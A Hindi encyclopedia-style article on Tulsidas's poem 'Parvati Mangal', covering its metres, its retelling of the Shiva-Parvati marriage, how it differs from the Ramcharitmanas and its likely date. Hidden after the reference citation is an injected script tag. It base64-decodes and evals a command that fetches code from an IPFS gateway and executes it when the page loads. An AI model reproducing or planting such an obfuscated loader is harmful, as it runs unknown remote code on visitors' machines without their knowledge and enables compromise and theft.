पार्वती मंगल

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पार्वती मंगल
'पार्वती-मंगल' का आवरण पृष्ठ
कवि गोस्वामी तुलसीदास
मूल शीर्षक 'पार्वती मंगल'
मुख्य पात्र शिव, पार्वती
प्रकाशक गीताप्रेस गोरखपुर
देश भारत
भाषा अवधी
शैली छ्न्द, दोहा
विषय भगवान शिव तथा पार्वती का विवाहोत्सव।
टिप्पणी 'पार्वती मंगल' का विषय शिव-पार्वती विवाह है। 'जानकी मंगल' की भाँति यह भी 'सोहर' और 'हरिगीतिका' छन्दों में रची गयी है।

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पार्वती मंगल गोस्वामी तुलसीदास की प्रसिद्ध रचनाओं में से एक है। इसका विषय शिव-पार्वती विवाह है। 'जानकी मंगल' की भाँति यह भी 'सोहर' और 'हरिगीतिका' छन्दों में रची गयी है। इसमें सोहर की 148 द्विपदियाँ तथा 16 हरिगीतिकाएँ हैं। इसकी भाषा भी 'जानकी मंगल की भाँति अवधी है।

कथानक

इसकी कथा 'रामचरित मानस' में आने वाले शिव विवाह की कथा से कुछ भिन्न है और संक्षेप में इस प्रकार है-

हिमवान की स्त्री मैना थी। जगज्जननी भवानी ने उनकी कन्या के रूप में जन्म लिया। वे सयानी हुई। दम्पत्ति को इनके विवाह की चिंता हुई। इन्हीं दिनों नारद इनके यहाँ आये। जब दम्पति ने अपनी कन्या के उपयुक्त वर के बारे में उनसे प्रश्न किया, नारद ने कहा -

'इसे बावला वर प्राप्त होगा, यद्यपि वह देवताओं द्वारा वंदित होगा।'

यह सुनकर दम्पति को चिंता हुई। नारद ने इस दोष को दूर करने के लिए गिरिजा द्वारा शिव की उपासना का उपदेश दिया। अत: गिरिजा शिव की उपासना में लग गयीं। जब गिरिजा के यौवन और सौन्दर्य का कोई प्रभाव शिव पर नहीं पड़ा, देवताओं ने कामदेव को उन्हें विचलित करने के लिए प्रेरित किया किंतु कामदेव को उन्होंने भस्म कर दिया। फिर भी गिरिजा ने अपनी साधना न छोड़ी। कन्द-मूल-फल छोड़कर वे बेल के पत्ते खाने लगीं और फिर उहोंने उसको भी छोड़ दिया। तब उनके प्रेम की परीक्षा के लिए शिव ने बटु का वेष धारण किया और वे गिरिजा के पास गये। तपस्या का कारण पूछने पर गिरिजा की सखी ने बताया कि वह शिव को वर के रूप में प्राप्त करना चाहती हैं। यह सुनकर बटु ने शिव के सम्बन्ध में कहा-

'वे भिक्षा मांगकर खाते-पीते हैं, मसान में वे सोते हैं, पिशाच-पिशाचिनें उनके अनुचर हैं- आदि। ऐसे वर से उसे क्या सुख मिलेगा?'

किंतु गिरिजा अपने विचारों में अविचल रहीं। यह देखकर स्वयं शिव साक्षात प्रकट हुए और उहोंने गिरिजा को कृतार्थ किया। इसके अनंतर शिव ने सप्तर्षियों को हिमवान के घर विवाह की तिथि आदि निश्चित करने के लिए भेजा और हिमवान से लगन कर सप्तर्षि शिव के पास गये। विवाह के दिन शिव की बारात हिमवान के घर गयी। बावले वर के साथ भूत-प्रेतादि की वह बारात देखकर नगर में कोलाहल मच गया। मैना ने जब सुना तो वह बड़ी दु:खी हुई और हिमवान के समझाने - बुझाने पर किसी प्रकार शांत हुई। यह लीला कर लेने के बाद शिव अपने सुन्दर और भव्य रूप में परिवर्तित हो गये और गिरिजा के साथ धूम-धाम से उनका विवाह हुआ।

रामचरित मानस में

'मानस' में शिव के लिए गिरिजा की तपस्या तथा शिव का एकाकीपन देखकर राम ने शिव से गिरिजा को अंगीकार करने के लिए कहा है, जिसे उन्होंने स्वीकार किया है। तदंतर शिव ने सप्तर्षियों को गिरिजा की प्रेम-परीक्षा के लिए भेजा है। 'पार्वती मंगल' में राम बीच में नहीं पड़ते और गिरिजा की तपस्या से प्रसन्न होकर शिव स्वयं बटु रूप में जाकर पार्वती की परीक्षा लेते हैं। 'मानस' में जो संवाद सप्तर्षि और गिरिजा के बीच में होता है, वह 'पार्वती मंगल' में बटु और उनके बीच होता है। 'मानस' में कामदहन इस प्रेम-परीक्षा के बाद होता है, जो 'पार्वती मंगल' में पहले ही हुआ रहता है। इसीलिए इसके बाद 'मानस' में विष्णु आदि को मिल कर शिव से अनुरोध करना पड़ता है कि वे पार्वती को अर्द्धांगिनी रूप में अंगीकार करे, जो 'पार्वती मंगल' में नहीं है। तदनन्तर 'मानस' में ब्रह्मा ने सप्तर्षि को हिमवान के घर लग्न-पत्रिका प्राप्त करने के लिए भेजा है, जिसके लिए 'पार्वती मंगल' में शिव ही उन्हें भेजते हैं। शेष कथा दोनों रचनाओं में प्राय: एक-सी है।

दोनों रचनाओं में अंतर

प्रश्न यह है कि इस अंतर का कारण क्या है?'मानस' की कथा शिव-पुराण का अनुसरण करती है और 'पार्वती मंगल' की कथा 'कुमार-सम्भव' का। ऐसा ज्ञात होता है कि किसी समय तुलसीदास ने शिव-विवाह के विषय का भी उसी प्रकार का एक स्त्री-लोकोपयोगी खण्डकाव्य रचना चाहा, जिस प्रकार उन्होंने राम-विवाह का 'जानकी मंगल' रचा था। इस समय 'शिव-पुराण' की तुलना में उन्हें 'कुमार सम्भव' का आधार ग्रहण करना अधिक जंचा और इसीलिए उन्होंने ऐसा किया।

रचना-काल

'पार्वती मंगल' में उसका रचना-काल 'जय संवत', फाल्गुन शुक्ल पक्ष 5 'गुरुवार' दिया हुआ है। जय संवत, संवत 1642 में था, किंतु उक्त तिथि विस्तार संवत 1642 में ठीक नहीं उतरता, इसकी रचना-तिथि संवत 1643 मानी जाती है किंतु तिथि का अशुद्ध होना उस छन्द की प्रामाणिकता में सन्देह उपस्थित करता है, जिसमें तिथि आती है। इस प्रसंग में विचारणीय यह है कि 'रामाज्ञा प्रश्न' के कुछ स्थलों पर कालिदास के 'रघुवंश' का प्रभाव झलकता है, जो 'मानस' के पीछे उन स्थलों पर दिखाई नहीं पड़ा है। यही बात 'जानकी मंगल' में भी दिखाई पड़ती है। फिर 'पार्वती मंगल' अनेक बातों में 'जानकी मंगल' के समान है ही इसलिए आश्चर्य न होगा यदि 'पार्वती मंगल' 'जानकी मंगल' के आस-पास की ही और 'रामचरित मानस' के पूर्व की रचना प्रमाणित हो।


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टीका टिप्पणी और संदर्भ


धीरेंद्र, वर्मा “भाग- 2 पर आधारित”, हिंदी साहित्य कोश (हिंदी), 337।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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